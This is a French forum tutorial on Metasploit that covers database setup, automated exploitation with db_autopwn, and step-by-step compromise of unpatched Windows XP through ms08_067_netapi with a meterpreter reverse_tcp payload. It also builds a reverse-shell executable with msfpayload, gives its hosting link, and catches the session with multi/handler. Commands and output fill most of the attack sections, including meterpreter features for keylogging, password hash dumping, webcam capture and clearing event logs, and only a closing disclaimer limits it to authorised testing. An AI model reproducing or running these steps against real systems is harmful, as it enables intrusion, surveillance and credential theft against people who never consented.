Vous n'êtes pas identifié(e).
Pages : 1
MSF permet de stocker les résultats d'analyse d'exploitation / des data-bases pour le stockage persistant.
Le cadre prend en charge en utilisant une data-base et très peu de back-ends. Il s'agit notamment de:
Postgres
MySQL
SQLite (version 2 & 3)
Note: Sauf pour SQLite (qui stocke la data-base dans un fichier),
vous avez besoin de démarrer le service Postgres ou MySQL avant de commencer à utiliser les bases de données avec Metasploit.
Note: Utiliser le Framework avec postgres exige d'éditer pg_hba.conf. Remplacez la valeur par défaut "ident" méthode avec «trust» comme indiqué:
Remarque: avant d'utiliser postgres, vous devez lancer le service.
service postgres start
Note: Pour de meilleurs résultats, utilisez msfconsole pour interagir avec une base de donnée du Framework.
Le stockage de la data-base est très pratique pour MSF avec assez peu de moyens. Le plus intéressant sujet de l'exploitation automatisée travaille avec l'intégration de data-base. MSF peut scanner les hôtes en utilisant nmap et de stocker leurs états dans la base de donnée, puis tenter automatiquement d'exploiter les vulnérabilités qui ont des exploits présent pour eux dans MSF. Modules auxiliaires tels que les scanners peuvent aussi utiliser des base de données pour stocker les informations des différents statuts. Vous pouvez même écrire votre propre scanner rapide et en stocker les informations dans une base de donnée sous-jacentes.
Le schéma des data-bases.
MSF crée les data-bases pour son utilisation. Cette data-base contient les tables suivantes.
* hosts
* creds
* refs
* services
* vulns
* vulns_refs
* clients
* events
* loots
* report_templates
* reports
* tasks
* users
* workspaces
Vous pouvez facilement visualiser la structure de ces data-bases dans votre RDBMS.
Note: Le dossier framework_base_folder/data/sql/ contient les fichiers SQL qui sont utilisés pour créer les tables de data-bases pour un RDBMS donné.
Chargement d'un module de data-base
Avant de commencer à utiliser les data-bases avec MSF, le module de data-base approprié devrait être chargé. Pour msfconsole, ce qui peut être chargé en utilisant les commandes de chargement db_ *. Voici un exemple de session de l'utilisation de MySQL avec MSF.
root # /etc/rc.d/rc.mysqld start [# démarrez le serveur de data-base mysql]
Starting mysqld daemon with databases from /var/lib/mysql
root # msfconsole [# démarrage de l'interface de la console MSF]
888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888
=[ msf v3.1-dev
+ -- --=[ 191 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 35 aux
msf > load db_mysql [# chargez le plugin data-base mysql]
[*] Successfully loaded plugin: db_mysql
msf > help [# New set of commands are available now]
MySQL Database Commands
=======================
Command Description
------- -----------
db_connect Connect to an existing database ( user:pass@host:port/db )
db_create Create a brand new database ( user:pass@host:port/db )
db_destroy Drop an existing database ( user:pass@host:port/db )
db_disconnect Disconnect from the current database instance
Création d'une base de données
La première fois que vous voulez utiliser une data-base avec MSF, vous avez besoin de la créer. Une fois qu'une base de données est créée, vous pouvez l'utiliser pour la connexion des futures sessions. La commande db_create vous permet de créer une nouvelle data-base. Elle permet de créer une data-base nommée Metasploit
[# Connect and user [i]root[/i] with password [i]mydbpass[/i] and create a database named metasploit]
msf > db_create root:mydbpass@localhost/nom_de_la_base
[*] Database creation complete (check for errors)
Une fois que la data-base est créée, elle est automatiquement utilisable pour cette session. Pour d'autres sessions, vous pouvez vous connecter à la db.
Utilisation d'une data-base existante
Si vous avez créé une base de donnée précédemment, pour les futures sessions, vous pouvez simplement l'utiliser avec la commande db_connect.
root # msfconsole [# démarrage de l'interface de la console MSF]
888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888
=[ msf v3.1-dev
+ -- --=[ 191 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 35 aux
msf > load db_mysql [# Load mysql database plugin]
[*] Successfully loaded plugin: db_mysql
msf > db_connect root:mydbpass@localhost/nom_de_la_base [# Connexion à la base de donnée]
msf > help [# Upon connecting to a database, we get another new set of commands]
Database Backend Commands
=========================
Command Description
------- -----------
db_add_host Add one or more hosts to the database
db_add_port Add a port to host
db_autopwn Automatically exploit everything
db_hosts List all hosts in the database
db_import_nessus_nbe Import a Nessus scan result file (NBE)
db_import_nmap_xml Import a Nmap scan results file (-oX)
db_nmap Executes nmap and records the output automatically
db_services List all services in the database
db_vulns List all vulnerabilities in the database
msf > db_hosts
[*] Host: localhost
Déconnexion d'une data-base
Si, dans une session, vous sentez que vous n'avez plus la nécessité d'utiliser la base de donnée, vous pouvez déconnecter la base de donnée en utilisant simplement la commande db_disconnect à l'invite "MSF>".
Suppression d'une data-base
Lorsque vous voulez simplement supprimer une base de donnée avec toutes les données qu'elle contient (peut-être, vous avez fait une sauvegarde et vous chercher maintenant à libérer de l'espace disque), puis vous pouvez le faire en utilisant la commande db_destroy.
msf > db_destroy root:mydbpass@localhost/nom_de_la_base [# Supprime la base de données Metasploit]
Database "metasploit" dropped
Commandes data-base Backend
Lorsque MSF est connecté à une data-base, un autre ensemble de commandes appelées commandes de data-base backend sont disponibles. Ces commandes vous permettent d'effectuer des scans de port sur les hôtes, vérifiez les hôtes en direct, les services qui sont en cours d'exécution et les vulnérabilités que ces services ont.
Command Description
------- -----------
db_add_host Add one or more hosts to the database
db_add_note Add a note to host
db_add_port Add a port to host
db_autopwn Automatically exploit everything
db_hosts List all hosts in the database
db_import_nessus_nbe Import a Nessus scan result file (NBE)
db_import_nmap_xml Import a Nmap scan results file (-oX)
db_nmap Executes nmap and records the output automatically
db_notes List all notes in the database
db_services List all services in the database
db_vulns List all vulnerabilities in the database
L'important est d'utiliser plus souvent la commande db_nmap qui utilisera nmap avec les commandes spécifique et de consigner les résultats dans la base de données.
msf> db_nmap -sS -P0 192.168.1.1
...
Pour lister les hôte(s) trouvé dans le scan ...
msf> db_hosts
[*] Time: Wed Mar 05 15:18:48 -0500 2008 Host: 192.168.1.1
Pour obtenir la liste des vulnérabilités possibles dans l'analyse de l'hôte(s) ...
msf> db_vulns
...
db_autopwn
Vous pouvez utiliser une autre data-base principale la commande db_autopwn va exécuter exploits contre l'hôte(s) à partir de la data-base. H.D. Moore a écrit sur cette fonctionnalité lorsque ajouté au framework - pour plus d'informations: http://blog.metasploit.com/2006/09/metasploit-30-automated-exploitation.htm…
msf > db_autopwn
[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-s Only obtain a single shell per target system (NON-FUNCTIONAL)
-r Use a reverse connect shell
-b Use a bind shell on a random port
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
traduit de: http://en.wikibooks.org/wiki/Metasploit/UsingMetasploit
== Utilisation avec autopwn ==
Pré-requis
:!: vous devrez probablement redémarrer postgresql avec cette commande
service postgresql restart
utilisez la touche TAB pour avoir la version exacte de postgresql.
Une VMware avec Windows XP installé dessus non mise à jour.
Désactiver le pare-feu local "panneau de configuration>centre de sécurité>pare-feu Windows (j'éditerai le post une fois trouvé la technique pour ne pas désactiver le pare-feu local).
Lancer msfconsole.
coyotus@Debian ~ $ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v3.5.1-release [core:3.5 api:1.0]
+ -- --=[ 635 exploits - 314 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r11352 updated today (2010.12.16)
msf >
Ensuite
msf > db_driver postgresql
On se connecte à la data-base postgresql
msf > db_connect coyotus:passe@coyotus
On recherche si l'hote est en ligne
msf > db_nmap -PN 172.16.205.129
et on lance la détection d'exploit
msf > db_autopwn -p -e -t
Et on découvre le résultât quelques instant plus tard.
[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================
Active sessions
===============
Id Type Information Connection Via
-- ---- ----------- ---------- ---
1 meterpreter x86/win32 AUTORITE NT\SYSTEM @ COYOTUS-5C91219 172.16.205.1:46619 -> 172.16.205.129:14359 exploit/windows/smb/ms08_067_netapi
[*] ================================================================================
Plus qu'a lancer la session trouvée.
msf > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Exemple.
meterpreter > shell
Process 3732 created.
Channel 1 created.
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
== Utilisation avec meterpreter ==
Pré-requis
Une VMware avec Windows XP installé dessus non mise à jour.
Désactiver le pare-feu local "panneau de configuration>centre de sécurité>pare-feu Windows (j'éditerai le post une fois trouvé la technique pour ne pas désactiver le pare-feu local).
Lancer msfconsole.
coyotus@Debian ~ $ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v3.5.1-release [core:3.5 api:1.0]
+ -- --=[ 635 exploits - 314 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r11352 updated today (2010.12.16)
msf >
Ensuite, comme il y a un nombre considérable d'api, on va lister les api
msf > search net api
[*] Searching loaded modules for pattern 'api'...
Trouvez un api, dans notre exemple on va en prendre une très connue, la ms08_067
https://docs.microsoft.com/en-us/securi … 8/ms08-067
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
Trouver un reverse tcp
msf exploit(ms08_067_netapi) > search reverse tcp
[*] Searching loaded modules for pattern 'tcp'...
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) >
Affichez les options
msf exploit(ms08_067_netapi) > show options
Réglez le host local, lhost = "local host"
msf exploit(ms08_067_netapi) > set lhost 192.168.1.11
lhost => 192.168.1.11
msf exploit(ms08_067_netapi) >
Réglez le host distant (ici la vm), rhost = "remote host"
msf exploit(ms08_067_netapi) > set rhost 172.16.205.129
rhost => 172.16.205.129
msf exploit(ms08_067_netapi) >
Ré-affichez les options pour vérifier.
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.205.129 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.1.11 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) >
Lancez l 'exploit en tapant : "exploit"
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.1.11:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:French
[*] Selected Target: Windows XP SP2 French (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.11:39872) at 2010-12-16 21:41:09 +0100
meterpreter >
Tapez "help" pour toute les commandes
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
del Delete the specified file
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getpid Get the current process identifier
getprivs Get as many privileges as possible
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
La commande screenshot sert à prendre des captures d'écran
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
meterpreter >
Merci à Kotelete pour son aide pour la seconde partie du tuto
== Test distant ==
Pré-requis
Un pc faillible (pour mon test j'ai pris un ibm thinkpad avec windows xp sans service pack ni anti-virus et aucun firewall).
Avoir sa propre ip que l'on peux vérifier sur http://www.monip.org/.
Une connexion distante ou l'autorisation de connecter le pc sur une connexion tiers (un ami qui vous prête sa connexion le temps du test).
Et enfin ouvrir le port "4444" sur sa propre box en TCP/UDP (pensez à le fermer une fois le test fini).
Par précaution j'ai redémarré postgresql.
coyotus@Debian ~ $ sudo /etc/init.d/postgresql-8.4 restart
[sudo] password for coyotus:
* Restarting PostgreSQL 8.4 database server [ OK ]
On va créer le malware LHOST votre ip que l'on peut optenir sur http://ifconfig.me/
coyotus@Debian ~ $ msfpayload windows/meterpreter/reverse_tcp LHOST=109.129.179.70 X > /tmp/MyTest.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=109.129.179.70
On le rend exécutable.
coyotus@Debian ~ $ chmod +x /tmp/MyTest.exe
On l'héberge, http://linuxtrack.net/save/MyTest.exe (inutile de le télécharger votre anti-virus criera si vous êtes sous Windows, le lien est donné à titre informatif).
note: il faut bien sur que l'exe soit éxécuté :mdr:
Ensuite on lance metasploit en console
coyotus@Debian ~ $ msfconsole
888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888
=[ metasploit v3.6.0-dev [core:3.6 api:1.0]
+ -- --=[ 636 exploits - 314 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r11385 updated today (2010.12.21)
Et on utilise le multi/handler
msf > use multi/handler
On regle son ip locale qu'on peut obtenir avec la commande ifconfig
msf exploit(handler) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
Enfin on lance l'exploit,
vous aurrez directement l'accès avec "meterpreter" et il vous suffira de tapez "help" pour obtenir la liste des commandes.
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.10:4444
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 217.136.15.219
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 217.136.15.219:1097) at 2010-12-21 10:01:54 +0100
meterpreter > screenshot
Screenshot saved to: /home/coyotus/RGFcHooD.jpeg
meterpreter >
Résultat de la commande screenshot.
:!: Ces test sont réaliser dans des condition idéale, il est évident qu'il est pratiquement impossible de trouver des exemple concret ou des victimes ont l'inconscience d'avoir un système aussi faillible que celui utilisé pour les test (quoi que).
autre tuto en pdf: http://shadowspy.free.fr/ebooks/securit … rse_FR.pdf
:!: Ce tuto revele l'importance de mettre à jour votre système et d'utiliser un pare-feu, en aucun cas vous devez utiliser les information de ce tuto pour pénétrer un système qui ne vous appartien pas ou auquel vous n'avez pas l'autorisation de son propriétaire.
Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D
Hors ligne
tutoriel très bien détailler
mise en pdf
merci Coyotus
Celui qui ne dispose pas des 2/3 de ca journée, est un ésclave ]:D
OS: Crunchbang avec dépots Kali
Hors ligne
Pages : 1